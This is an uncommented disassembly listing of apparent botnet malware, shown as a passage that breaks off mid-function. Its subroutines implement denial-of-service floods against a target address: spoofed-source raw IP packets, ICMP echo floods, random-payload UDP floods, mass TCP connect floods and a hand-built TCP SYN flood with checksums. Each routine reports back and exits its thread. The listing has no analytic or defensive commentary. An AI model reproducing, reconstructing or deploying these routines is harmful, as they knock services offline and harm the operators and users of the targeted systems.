		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	68h
		xor	ebx, ebx
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_1BC]
		push	0FFh
		inc	ebx
		push	3
		rep movsd
		push	2
		mov	[eax+19Ch], ebx
		call	dword_4CE388	; socket
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_4], eax
		jnz	short loc_413D00
		call	dword_4CE29C	; WSAGetLastError
		push	eax
		lea	eax, [ebp+var_3BC]
		push	offset unk_439C14
		push	eax
		call	sub_41BEF6
		xor	edi, edi
		add	esp, 0Ch
		cmp	[ebp+var_24], edi
		jnz	short loc_413CE3
		push	edi
		lea	eax, [ebp+var_3BC]
		push	[ebp+var_28]
		push	eax
		lea	eax, [ebp+var_B8]
		push	eax
		push	[ebp+var_1BC]
		call	sub_409743
		add	esp, 14h


loc_413CE3:				; CODE XREF: sub_413C65+5Cj
		lea	eax, [ebp+var_3BC]
		push	eax
		call	sub_415F45
		push	[ebp+var_38]
		call	sub_40B56A
		pop	ecx
		pop	ecx
		push	edi
		call	dword_4280D4	; ExitThread


loc_413D00:				; CODE XREF: sub_413C65+3Aj
		lea	ecx, [ebp+var_C]
		push	4
		push	ecx
		xor	edi, edi
		push	2
		push	edi
		push	eax
		mov	[ebp+var_C], ebx
		call	dword_4CE2E8	; setsockopt
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_413D77
		call	dword_4CE29C	; WSAGetLastError
		push	eax
		lea	eax, [ebp+var_3BC]
		push	offset unk_439BE4
		push	eax
		call	sub_41BEF6
		add	esp, 0Ch
		cmp	[ebp+var_24], edi
		jnz	short loc_413D5A
		push	edi
		lea	eax, [ebp+var_3BC]
		push	[ebp+var_28]
		push	eax
		lea	eax, [ebp+var_B8]
		push	eax
		push	[ebp+var_1BC]
		call	sub_409743
		add	esp, 14h


loc_413D5A:				; CODE XREF: sub_413C65+D3j
		lea	eax, [ebp+var_3BC]
		push	eax
		call	sub_415F45
		push	[ebp+var_38]
		call	sub_40B56A
		pop	ecx
		pop	ecx
		push	edi
		call	dword_4280D4	; ExitThread


loc_413D77:				; CODE XREF: sub_413C65+B3j
		lea	eax, [ebp+var_1B8]
		push	eax
		call	dword_4CE348	; inet_addr
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_413DDE
		lea	eax, [ebp+var_3BC]
		push	offset unk_439BC4
		push	eax
		call	sub_41BEF6
		cmp	[ebp+var_24], edi
		pop	ecx
		pop	ecx
		jnz	short loc_413DC1
		push	edi
		lea	eax, [ebp+var_3BC]
		push	[ebp+var_28]
		push	eax
		lea	eax, [ebp+var_B8]
		push	eax
		push	[ebp+var_1BC]
		call	sub_409743
		add	esp, 14h


loc_413DC1:				; CODE XREF: sub_413C65+13Aj
		lea	eax, [ebp+var_3BC]
		push	eax
		call	sub_415F45
		push	[ebp+var_38]
		call	sub_40B56A
		pop	ecx
		pop	ecx
		push	edi
		call	dword_4280D4	; ExitThread


loc_413DDE:				; CODE XREF: sub_413C65+122j
		push	10h
		lea	eax, [ebp+var_1C]
		push	edi
		push	eax
		call	sub_41BC00
		add	esp, 0Ch
		mov	[ebp+var_1C], 2
		push	edi
		call	dword_4CE308	; ntohs
		mov	[ebp+var_1A], ax
		lea	eax, [ebp+var_1B8]
		push	eax
		call	dword_4CE348	; inet_addr
		mov	esi, dword_4280B0
		mov	[ebp+var_18], eax
		mov	[ebp+arg_0], edi
		call	esi	; GetTickCount
		mov	[ebp+var_8], eax
		jmp	loc_413F3F
; ---------------------------------------------------------------------------


loc_413E21:				; CODE XREF: sub_413C65+2EBj
		push	41Ch
		mov	byte_4D1050, 45h
		call	dword_4CE308	; ntohs
		cmp	[ebp+var_2C], edi
		mov	word_4D1052, ax
		mov	word_4D1054, bx
		mov	word_4D1056, di
		mov	byte_4D1058, 80h
		mov	byte_4D1059, bl
		mov	word_4D105A, di
		jz	short loc_413E90
		call	sub_41BF52
		mov	ebx, eax
		shl	ebx, 8
		call	sub_41BF52
		add	ebx, eax
		shl	ebx, 8
		call	sub_41BF52
		add	ebx, eax
		shl	ebx, 8
		call	sub_41BF52
		add	ebx, eax
		mov	dword_4D105C, ebx
		xor	ebx, ebx
		inc	ebx
		jmp	short loc_413EA8
; ---------------------------------------------------------------------------


loc_413E90:				; CODE XREF: sub_413C65+1F9j
		push	[ebp+var_1BC]
		call	sub_40A8D5
		pop	ecx
		push	eax
		call	dword_4CE348	; inet_addr
		mov	dword_4D105C, eax


loc_413EA8:				; CODE XREF: sub_413C65+229j
		mov	eax, [ebp+var_18]
		mov	dword_4D1060, eax
		call	sub_41BF52
		cdq
		mov	ecx, 100h
		idiv	ecx
		mov	byte_4D1064, dl
		call	sub_41BF52
		cdq
		mov	ecx, 100h
		idiv	ecx
		mov	byte_4D1065, dl
		call	sub_41BF52
		cdq
		mov	ecx, 0F0h
		push	400h
		idiv	ecx
		mov	word_4D1066, di
		mov	word_4D106A, bx
		inc	edx
		mov	word_4D1068, dx
		call	sub_41BF52
		cdq
		mov	ecx, 0FFh
		idiv	ecx
		push	edx
		push	offset dword_4D106C
		call	sub_41BC00
		add	esp, 0Ch
		lea	eax, [ebp+var_1C]
		push	10h
		push	eax
		push	edi
		push	41Ch
		push	offset byte_4D1050
		push	[ebp+var_4]
		call	dword_4CE36C	; sendto
		cmp	eax, 0FFFFFFFFh
		jz	loc_413FDB
		inc	[ebp+arg_0]


loc_413F3F:				; CODE XREF: sub_413C65+1B7j
		call	esi	; GetTickCount
		sub	eax, [ebp+var_8]
		mov	ecx, 3E8h
		xor	edx, edx
		div	ecx
		cmp	eax, [ebp+var_30]
		jbe	loc_413E21
		push	[ebp+var_4]
		call	dword_4CE3A0	; closesocket
		mov	eax, [ebp+arg_0]
		xor	edx, edx
		imul	eax, 3Ch
		mov	ecx, eax
		shr	eax, 0Ah
		div	[ebp+var_30]
		shr	ecx, 14h
		push	ecx
		push	eax
		lea	eax, [ebp+var_1B8]
		push	[ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_138]
		push	eax
		lea	eax, [ebp+var_3BC]
		push	offset unk_439B78
		push	eax
		call	sub_41BEF6
		add	esp, 1Ch
		cmp	[ebp+var_24], edi
		jnz	short loc_413FBE
		push	edi
		lea	eax, [ebp+var_3BC]
		push	[ebp+var_28]
		push	eax
		lea	eax, [ebp+var_B8]
		push	eax
		push	[ebp+var_1BC]
		call	sub_409743
		add	esp, 14h


loc_413FBE:				; CODE XREF: sub_413C65+337j
		lea	eax, [ebp+var_3BC]
		push	eax
		call	sub_415F45
		push	[ebp+var_38]
		call	sub_40B56A
		pop	ecx
		pop	ecx
		push	edi
		call	dword_4280D4	; ExitThread


loc_413FDB:				; CODE XREF: sub_413C65+2D1j
		push	[ebp+var_4]
		call	dword_4CE3A0	; closesocket
		call	dword_4CE29C	; WSAGetLastError
		push	eax
		lea	eax, [ebp+var_1B8]
		push	[ebp+arg_0]
		push	eax
		push	offset unk_439B30
		lea	eax, [ebp+var_3BC]
		push	200h
		push	eax
		call	sub_41BFF0
		add	esp, 18h
		cmp	[ebp+var_24], edi
		jnz	short loc_414033
		push	edi
		lea	eax, [ebp+var_3BC]
		push	[ebp+var_28]
		push	eax
		lea	eax, [ebp+var_B8]
		push	eax
		push	[ebp+var_1BC]
		call	sub_409743
		add	esp, 14h


loc_414033:				; CODE XREF: sub_413C65+3ACj
		lea	eax, [ebp+var_3BC]
		push	eax
		call	sub_415F45
		push	[ebp+var_38]
		call	sub_40B56A
		pop	ecx
		pop	ecx
		push	edi
		call	dword_4280D4	; ExitThread
sub_413C65	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_414050	proc near		; DATA XREF: sub_401AA1+5436o

var_10320	= byte ptr -10320h
var_344		= byte ptr -344h
var_144		= dword	ptr -144h
var_140		= byte ptr -140h
var_C0		= byte ptr -0C0h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_20		= byte ptr -20h
var_18		= dword	ptr -18h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 10320h
		call	sub_41C190
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	49h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_144]
		rep movsd
		xor	edi, edi
		inc	edi
		mov	[eax+120h], edi
		call	dword_4CE290	; IcmpCreateFile
		mov	[ebp+arg_0], eax
		lea	eax, [ebp+var_C0]
		push	eax
		call	dword_4CE348	; inet_addr
		mov	esi, eax
		xor	ebx, ebx
		xor	eax, eax
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_4140AB
		lea	eax, [ebp+var_C0]
		push	eax
		call	dword_4CE38C	; gethostbyname
		cmp	eax, ebx
		jz	short loc_4140B1


loc_4140AB:				; CODE XREF: sub_414050+48j
		cmp	[ebp+arg_0], 0FFFFFFFFh
		jnz	short loc_41410E


loc_4140B1:				; CODE XREF: sub_414050+59j
		lea	eax, [ebp+var_C0]
		push	eax
		lea	eax, [ebp+var_344]
		push	offset unk_439C6C
		push	eax
		call	sub_41BEF6
		add	esp, 0Ch
		cmp	[ebp+var_28], ebx
		jnz	short loc_4140F1
		push	ebx
		lea	eax, [ebp+var_344]
		push	[ebp+var_2C]
		push	eax
		lea	eax, [ebp+var_140]
		push	eax
		push	[ebp+var_144]
		call	sub_409743
		add	esp, 14h


loc_4140F1:				; CODE XREF: sub_414050+7Fj
		lea	eax, [ebp+var_344]
		push	eax
		call	sub_415F45
		push	[ebp+var_30]
		call	sub_40B56A
		pop	ecx
		pop	ecx
		push	edi
		call	dword_4280D4	; ExitThread


loc_41410E:				; CODE XREF: sub_414050+5Fj
		cmp	eax, ebx
		jz	short loc_41411E
		mov	eax, [eax+0Ch]
		mov	eax, [eax]
		mov	eax, [eax]
		mov	[ebp+var_4], eax
		jmp	short loc_414121
; ---------------------------------------------------------------------------


loc_41411E:				; CODE XREF: sub_414050+C0j
		mov	[ebp+var_4], esi


loc_414121:				; CODE XREF: sub_414050+CCj
		push	1Ch
		lea	eax, [ebp+var_20]
		push	ebx
		push	eax
		call	sub_41BC00
		or	[ebp+var_18], 0FFFFFFFFh
		mov	eax, 0FFDCh
		add	esp, 0Ch
		cmp	[ebp+var_3C], eax
		jle	short loc_414141
		mov	[ebp+var_3C], eax


loc_414141:				; CODE XREF: sub_414050+ECj
		cmp	[ebp+var_38], edi
		jge	short loc_414149
		mov	[ebp+var_38], edi


loc_414149:				; CODE XREF: sub_414050+F4j
		xor	esi, esi
		cmp	[ebp+var_40], ebx
		jle	short loc_414176


loc_414150:				; CODE XREF: sub_414050+124j
		push	[ebp+var_38]
		lea	eax, [ebp+var_20]
		push	1Ch
		push	eax
		push	ebx
		lea	eax, [ebp+var_10320]
		push	[ebp+var_3C]
		push	eax
		push	[ebp+var_4]
		push	[ebp+arg_0]
		call	dword_4CE220	; IcmpSendEcho
		inc	esi
		cmp	esi, [ebp+var_40]
		jl	short loc_414150


loc_414176:				; CODE XREF: sub_414050+FEj
		push	[ebp+arg_0]
		call	dword_4CE3BC	; IcmpCloseHandle
		lea	eax, [ebp+var_C0]
		push	eax
		lea	eax, [ebp+var_344]
		push	offset unk_439C40
		push	eax
		call	sub_41BEF6
		add	esp, 0Ch
		cmp	[ebp+var_28], ebx
		jnz	short loc_4141BF
		push	ebx
		lea	eax, [ebp+var_344]
		push	[ebp+var_2C]
		push	eax
		lea	eax, [ebp+var_140]
		push	eax
		push	[ebp+var_144]
		call	sub_409743
		add	esp, 14h


loc_4141BF:				; CODE XREF: sub_414050+14Dj
		lea	eax, [ebp+var_344]
		push	eax
		call	sub_415F45
		push	[ebp+var_30]
		call	sub_40B56A
		pop	ecx
		pop	ecx
		push	ebx
		call	dword_4280D4	; ExitThread
sub_414050	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4141DC	proc near		; DATA XREF: sub_401AA1+567Eo

var_10312	= byte ptr -10312h
var_10310	= byte ptr -10310h
var_334		= byte ptr -334h
var_134		= dword	ptr -134h
var_130		= byte ptr -130h
var_B0		= byte ptr -0B0h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 10310h
		call	sub_41C190
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	49h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_134]
		rep movsd
		xor	esi, esi
		inc	esi
		mov	[eax+120h], esi
		call	dword_4280B0	; GetTickCount
		push	eax
		call	sub_41BF48
		pop	ecx
		push	11h
		push	2
		push	2
		call	dword_4CE388	; socket
		mov	ebx, eax
		xor	edi, edi
		push	10h
		lea	eax, [ebp+var_10]
		push	edi
		push	eax
		call	sub_41BC00
		add	esp, 0Ch
		lea	eax, [ebp+var_B0]
		mov	[ebp+var_10], 2
		push	eax
		call	dword_4CE348	; inet_addr
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+arg_0], eax
		jnz	short loc_4142C1
		lea	eax, [ebp+var_B0]
		push	eax
		call	dword_4CE38C	; gethostbyname
		cmp	eax, edi
		jnz	short loc_4142BA
		lea	eax, [ebp+var_B0]
		push	eax
		lea	eax, [ebp+var_334]
		push	offset unk_439CC0
		push	eax
		call	sub_41BEF6
		add	esp, 0Ch
		cmp	[ebp+var_18], edi
		jnz	short loc_41429D
		push	edi
		lea	eax, [ebp+var_334]
		push	[ebp+var_1C]
		push	eax
		lea	eax, [ebp+var_130]
		push	eax
		push	[ebp+var_134]
		call	sub_409743
		add	esp, 14h


loc_41429D:				; CODE XREF: sub_4141DC+9Fj
		lea	eax, [ebp+var_334]
		push	eax
		call	sub_415F45
		push	[ebp+var_20]
		call	sub_40B56A
		pop	ecx
		pop	ecx
		push	esi
		call	dword_4280D4	; ExitThread


loc_4142BA:				; CODE XREF: sub_4141DC+7Fj
		mov	eax, [eax+0Ch]
		mov	eax, [eax]
		jmp	short loc_4142C4
; ---------------------------------------------------------------------------


loc_4142C1:				; CODE XREF: sub_4141DC+6Ej
		lea	eax, [ebp+arg_0]


loc_4142C4:				; CODE XREF: sub_4141DC+E3j
		mov	eax, [eax]
		cmp	[ebp+var_24], edi
		mov	[ebp+var_C], eax
		jnz	short loc_4142DF
		call	sub_41BF52
		cdq
		mov	ecx, 0FFDCh
		idiv	ecx
		inc	edx
		push	edx
		jmp	short loc_4142E2
; ---------------------------------------------------------------------------


loc_4142DF:				; CODE XREF: sub_4141DC+F0j
		push	[ebp+var_24]


loc_4142E2:				; CODE XREF: sub_4141DC+101j
		call	dword_4CE308	; ntohs
		cmp	[ebp+var_24], esi
		mov	[ebp+var_E], ax
		jge	short loc_4142F4
		mov	[ebp+var_24], esi


loc_4142F4:				; CODE XREF: sub_4141DC+113j
		mov	eax, 0FFFFh
		cmp	[ebp+var_24], eax
		jle	short loc_414301
		mov	[ebp+var_24], eax


loc_414301:				; CODE XREF: sub_4141DC+120j
		mov	eax, [ebp+var_30]
		push	0Ah
		cdq
		pop	ecx
		idiv	ecx
		cmp	[ebp+var_28], edi
		mov	[ebp+var_30], eax
		jnz	short loc_414315
		mov	[ebp+var_28], esi


loc_414315:				; CODE XREF: sub_4141DC+134j
		xor	esi, esi
		cmp	[ebp+var_2C], edi
		jle	short loc_41438E


loc_41431C:				; CODE XREF: sub_4141DC+158j
		call	sub_41BF52
		cdq
		mov	ecx, 0FFh
		idiv	ecx
		inc	esi
		cmp	esi, [ebp+var_2C]
		mov	[ebp+esi-10311h], dl
		jl	short loc_41431C
		jmp	short loc_41438E
; ---------------------------------------------------------------------------


loc_414338:				; CODE XREF: sub_4141DC+1B5j
		dec	[ebp+var_30]
		push	0Bh
		pop	esi


loc_41433E:				; CODE XREF: sub_4141DC+192j
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	edi
		call	sub_41BF52
		push	0Ah
		cdq
		pop	ecx
		idiv	ecx
		mov	eax, [ebp+var_2C]
		sub	eax, edx
		push	eax
		lea	eax, [ebp+var_10310]
		push	eax
		push	ebx
		call	dword_4CE36C	; sendto
		push	[ebp+var_28]
		call	dword_428080	; Sleep
		dec	esi
		jnz	short loc_41433E
		cmp	[ebp+var_24], edi
		jnz	short loc_41438E
		call	sub_41BF52
		cdq
		mov	ecx, 0FFDCh
		idiv	ecx
		inc	edx
		push	edx
		call	dword_4CE308	; ntohs
		mov	[ebp+var_E], ax


loc_41438E:				; CODE XREF: sub_4141DC+13Ej
					; sub_4141DC+15Aj ...
		cmp	[ebp+var_30], edi
		jg	short loc_414338
		dec	[ebp+var_30]
		lea	eax, [ebp+var_B0]
		push	eax
		lea	eax, [ebp+var_334]
		push	offset unk_439C94
		push	eax
		call	sub_41BEF6
		add	esp, 0Ch
		cmp	[ebp+var_18], edi
		jnz	short loc_4143D6
		push	edi
		lea	eax, [ebp+var_334]
		push	[ebp+var_1C]
		push	eax
		lea	eax, [ebp+var_130]
		push	eax
		push	[ebp+var_134]
		call	sub_409743
		add	esp, 14h


loc_4143D6:				; CODE XREF: sub_4141DC+1D8j
		lea	eax, [ebp+var_334]
		push	eax
		call	sub_415F45
		push	[ebp+var_20]
		call	sub_40B56A
		pop	ecx
		pop	ecx
		push	edi
		call	dword_4280D4	; ExitThread
sub_4141DC	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4143F3	proc near		; DATA XREF: sub_401AA1+4CFEo

var_414		= byte ptr -414h
var_214		= dword	ptr -214h
var_210		= byte ptr -210h
var_190		= byte ptr -190h
var_110		= byte ptr -110h
var_90		= byte ptr -90h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 414h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		mov	ecx, 85h
		mov	esi, eax
		lea	edi, [ebp+var_214]
		rep movsd
		mov	dword ptr [eax+210h], 1
		lea	eax, [ebp+var_110]
		push	eax
		lea	eax, [ebp+var_190]
		push	eax
		lea	eax, [ebp+var_210]
		push	eax
		call	sub_414549
		push	eax
		lea	eax, [ebp+var_414]
		push	offset dword_439CE8
		push	eax
		call	sub_41BEF6
		xor	esi, esi
		add	esp, 18h
		cmp	[ebp+var_8], esi
		jnz	short loc_414470
		push	esi
		lea	eax, [ebp+var_414]
		push	[ebp+var_C]
		push	eax
		lea	eax, [ebp+var_90]
		push	eax
		push	[ebp+var_214]
		call	sub_409743
		add	esp, 14h


loc_414470:				; CODE XREF: sub_4143F3+5Bj
		lea	eax, [ebp+var_414]
		push	eax
		call	sub_415F45
		push	[ebp+var_10]
		call	sub_40B56A
		pop	ecx
		pop	ecx
		push	esi
		call	dword_4280D4	; ExitThread
		pop	edi
		pop	esi
sub_4143F3	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41448F	proc near		; CODE XREF: sub_414549+27p

var_654		= dword	ptr -654h
var_14		= word ptr -14h
var_12		= word ptr -12h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 654h
		push	10h
		lea	eax, [ebp+var_14]
		push	0
		push	eax
		call	sub_41BC00
		add	esp, 0Ch
		mov	[ebp+var_14], 2
		push	[ebp+arg_4]
		call	dword_4CE308	; ntohs
		mov	[ebp+var_12], ax
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_10], eax
		mov	eax, [ebp+arg_8]
		test	eax, eax
		mov	[ebp+var_4], 1
		jle	short loc_414545
		push	esi
		push	edi
		mov	[ebp+arg_4], eax
		mov	edi, 190h


loc_4144D9:				; CODE XREF: sub_41448F+B2j
		xor	esi, esi


loc_4144DB:				; CODE XREF: sub_41448F+77j
		push	0
		push	1
		push	2
		call	dword_42821C	; socket
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+esi*4+var_654], eax
		jz	short loc_414503
		lea	ecx, [ebp+var_4]
		push	ecx
		push	8004667Eh
		push	eax
		call	dword_4281F8	; ioctlsocket


loc_414503:				; CODE XREF: sub_41448F+62j
		inc	esi
		cmp	esi, edi
		jl	short loc_4144DB
		xor	esi, esi


loc_41450A:				; CODE XREF: sub_41448F+91j
		lea	eax, [ebp+var_14]
		push	10h
		push	eax
		push	[ebp+esi*4+var_654]
		call	dword_428210	; connect
		inc	esi
		cmp	esi, edi
		jl	short loc_41450A
		push	64h
		call	dword_428080	; Sleep
		xor	esi, esi


loc_41452C:				; CODE XREF: sub_41448F+ADj
		push	[ebp+esi*4+var_654]
		call	dword_428218	; closesocket
		inc	esi
		cmp	esi, edi
		jl	short loc_41452C
		dec	[ebp+arg_4]
		jnz	short loc_4144D9
		pop	edi
		pop	esi


loc_414545:				; CODE XREF: sub_41448F+3Ej
		xor	eax, eax
		leave
		retn
sub_41448F	endp


; =============== S U B	R O U T	I N E =======================================



sub_414549	proc near		; CODE XREF: sub_4143F3+3Cp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	ebx
		push	esi
		push	edi
		push	[esp+0Ch+arg_0]
		call	sub_40A7C5
		push	[esp+10h+arg_4]
		mov	edi, eax
		call	sub_41BDE9
		push	[esp+14h+arg_8]
		mov	ebx, eax
		call	sub_41BDE9
		mov	esi, eax
		push	esi
		push	ebx
		push	edi
		call	sub_41448F
		add	esp, 18h
		test	eax, eax
		jnz	short loc_41457D
		inc	eax


loc_41457D:				; CODE XREF: sub_414549+31j
		cdq
		mov	ecx, 3E8h
		pop	edi
		idiv	ecx
		cdq
		idiv	esi
		pop	esi
		pop	ebx
		retn
sub_414549	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41458C	proc near		; DATA XREF: sub_401AA1+632Ao

var_414		= byte ptr -414h
var_214		= dword	ptr -214h
var_210		= byte ptr -210h
var_190		= byte ptr -190h
var_110		= byte ptr -110h
var_90		= byte ptr -90h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 414h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		mov	ecx, 85h
		mov	esi, eax
		lea	edi, [ebp+var_214]
		rep movsd
		mov	dword ptr [eax+210h], 1
		lea	eax, [ebp+var_110]
		push	eax
		lea	eax, [ebp+var_190]
		push	eax
		lea	eax, [ebp+var_210]
		push	eax
		call	sub_4148D9
		push	eax
		lea	eax, [ebp+var_414]
		push	offset unk_439D14
		push	eax
		call	sub_41BEF6
		xor	esi, esi
		add	esp, 18h
		cmp	[ebp+var_8], esi
		jnz	short loc_414609
		push	esi
		lea	eax, [ebp+var_414]
		push	[ebp+var_C]
		push	eax
		lea	eax, [ebp+var_90]
		push	eax
		push	[ebp+var_214]
		call	sub_409743
		add	esp, 14h


loc_414609:				; CODE XREF: sub_41458C+5Bj
		lea	eax, [ebp+var_414]
		push	eax
		call	sub_415F45
		push	[ebp+var_10]
		call	sub_40B56A
		pop	ecx
		pop	ecx
		push	esi
		call	dword_4280D4	; ExitThread
		pop	edi
		pop	esi
sub_41458C	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_414628	proc near		; CODE XREF: sub_4148D9+3Cp

var_284		= byte ptr -284h
var_F4		= byte ptr -0F4h
var_B4		= byte ptr -0B4h
var_B3		= byte ptr -0B3h
var_A0		= byte ptr -0A0h
var_94		= byte ptr -94h
var_8C		= byte ptr -8Ch
var_78		= dword	ptr -78h
var_74		= dword	ptr -74h
var_70		= byte ptr -70h
var_6F		= byte ptr -6Fh
var_6E		= word ptr -6Eh
var_58		= dword	ptr -58h
var_50		= word ptr -50h
var_4E		= word ptr -4Eh
var_4C		= dword	ptr -4Ch
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= word ptr -34h
var_32		= word ptr -32h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= byte ptr -28h
var_27		= byte ptr -27h
var_26		= word ptr -26h
var_24		= word ptr -24h
var_22		= word ptr -22h
var_20		= byte ptr -20h
var_1E		= word ptr -1Eh
var_1C		= word ptr -1Ch
var_1A		= word ptr -1Ah
var_18		= byte ptr -18h
var_17		= byte ptr -17h
var_16		= word ptr -16h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 284h
		push	ebx
		push	edi
		push	0Eh
		xor	ebx, ebx
		pop	ecx
		xor	eax, eax
		lea	edi, [ebp+var_B3]
		mov	[ebp+var_B4], bl
		rep stosd
		stosw
		stosb
		lea	eax, [ebp+var_284]
		push	eax
		push	202h
		call	dword_4CE278	; WSAStartup
		test	eax, eax
		jz	short loc_414668
		xor	eax, eax
		jmp	loc_4148AC
; ---------------------------------------------------------------------------


loc_414668:				; CODE XREF: sub_414628+37j
		xor	edi, edi
		inc	edi
		push	edi
		push	ebx
		push	ebx
		push	0FFh
		push	3
		push	2
		call	dword_4CE3AC	; WSASocketA
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_C], eax
		jz	loc_4148A4
		push	esi
		lea	ecx, [ebp+var_38]
		push	4
		push	ecx
		push	2
		push	ebx
		push	eax
		mov	[ebp+var_38], edi
		call	dword_4CE2E8	; setsockopt
		cmp	eax, 0FFFFFFFFh
		jz	loc_41489A
		push	10h
		lea	eax, [ebp+var_50]
		push	ebx
		push	eax
		call	sub_41BC00
		add	esp, 0Ch
		mov	[ebp+var_50], 2
		push	[ebp+arg_8]
		call	dword_4CE308	; ntohs
		mov	esi, [ebp+arg_0]
		push	28h
		mov	[ebp+var_4E], ax
		mov	[ebp+var_4C], esi
		mov	[ebp+var_20], 45h
		call	dword_4CE308	; ntohs
		push	[ebp+arg_8]
		mov	[ebp+var_1E], ax
		mov	[ebp+var_1C], di
		mov	[ebp+var_1A], bx
		mov	[ebp+var_18], 80h
		mov	[ebp+var_17], 6
		mov	[ebp+var_16], bx
		mov	[ebp+var_10], esi
		call	dword_4CE308	; ntohs
		push	4000h
		mov	[ebp+var_32], ax
		mov	[ebp+var_2C], ebx
		mov	[ebp+var_28], 50h
		mov	[ebp+var_27], 2
		call	dword_4CE308	; ntohs
		mov	[ebp+var_26], ax
		lea	eax, [ebp+var_40]
		push	eax
		mov	[ebp+var_22], bx
		mov	[ebp+arg_8], ebx
		call	dword_428140	; QueryPerformanceFrequency
		lea	eax, [ebp+var_8]
		push	eax
		call	dword_42813C	; QueryPerformanceCounter
		push	[ebp+var_3C]
		mov	eax, [ebp+arg_C]
		cdq
		push	[ebp+var_40]
		push	edx
		push	eax
		call	sub_41D920
		add	eax, [ebp+var_8]
		mov	esi, edx
		adc	esi, [ebp+var_4]
		mov	[ebp+var_58], eax


loc_414753:				; CODE XREF: sub_414628+25Dj
					; sub_414628+269j
		mov	[ebp+var_24], bx
		call	sub_41BF52
		cdq
		mov	ecx, 3E9h
		idiv	ecx
		add	edx, 3E8h
		push	edx
		call	dword_4CE308	; ntohs
		mov	[ebp+var_34], ax
		call	sub_41BF52
		mov	edi, eax
		shl	edi, 10h
		call	sub_41BF52
		or	edi, eax
		push	edi
		call	dword_4CE308	; ntohs
		movzx	eax, ax
		mov	[ebp+var_30], eax
		mov	eax, [ebp+arg_4]
		inc	[ebp+arg_4]
		push	eax
		call	dword_4CE304	; ntohl
		push	14h
		mov	[ebp+var_14], eax
		mov	eax, [ebp+var_10]
		pop	edi
		push	edi
		mov	[ebp+var_74], eax
		mov	[ebp+var_70], bl
		mov	[ebp+var_6F], 6
		call	dword_4CE308	; ntohs
		mov	[ebp+var_6E], ax
		mov	eax, [ebp+var_14]
		mov	[ebp+var_78], eax
		lea	eax, [ebp+var_78]
		push	20h
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		call	near ptr sub_41C9B0
		lea	eax, [ebp+var_34]
		push	edi
		push	eax
		lea	eax, [ebp+var_94]
		push	eax
		call	near ptr sub_41C9B0
		lea	eax, [ebp+var_B4]
		push	34h
		push	eax
		call	sub_40A92E
		mov	[ebp+var_24], ax
		lea	eax, [ebp+var_20]
		push	edi
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		call	near ptr sub_41C9B0
		lea	eax, [ebp+var_34]
		push	edi
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		call	near ptr sub_41C9B0
		push	4
		lea	eax, [ebp+var_8C]
		push	ebx
		push	eax
		call	sub_41BC00
		add	esp, 44h
		lea	eax, [ebp+var_B4]
		push	28h
		push	eax
		call	sub_40A92E
		mov	[ebp+var_16], ax
		lea	eax, [ebp+var_20]
		push	edi
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		call	near ptr sub_41C9B0
		add	esp, 14h
		lea	eax, [ebp+var_50]
		push	10h
		push	eax
		push	ebx
		lea	eax, [ebp+var_B4]
		push	28h
		push	eax
		push	[ebp+var_C]
